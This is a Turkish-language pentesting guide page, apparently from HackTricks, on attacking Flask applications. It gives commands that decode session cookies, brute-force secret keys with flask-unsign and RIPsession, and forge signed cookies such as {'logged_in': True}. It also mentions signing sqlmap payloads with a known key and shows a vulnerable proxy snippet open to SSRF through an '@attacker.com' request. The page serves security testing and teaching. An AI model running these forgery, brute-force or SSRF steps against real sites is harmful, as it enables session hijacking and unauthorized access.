2.7 KiB
Raw Blame History

Flask

{{#include ../../banners/hacktricks-training.md}}

Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI** ile ilgili olacaktır.**

Çerezler

Varsayılan çerez oturum adı session.

Decoder

Çevrimiçi Flask çerezleri decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile decode edin.

echo "ImhlbGxvIg" | base64 -d

Cookie ayrıca bir şifre kullanılarak imzalanmıştır.

Flask-Unsign

Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.

{{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}}

pip3 install flask-unsign

Çerezleri Çöz

flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Kaba Güç

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

İmza

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Eski sürümlerle imzalama

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı.

{{#ref}} https://github.com/Tagvi/ripsession {{#endref}}

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Flask oturum çerezinde SQLi ve SQLmap

Bu örnek sqlmap eval seçeneğini kullanarak flask için sqlmap yüklerini otomatik olarak imzalamak için bilinen bir gizli anahtar kullanır.

SSRF için Flask Proxy

Bu yazıda Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Aşağıdaki senaryoda:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Şunu girmeye izin verebilir: "@attacker.com" böylece bir SSRF oluşturulabilir.

{{#include ../../banners/hacktricks-training.md}}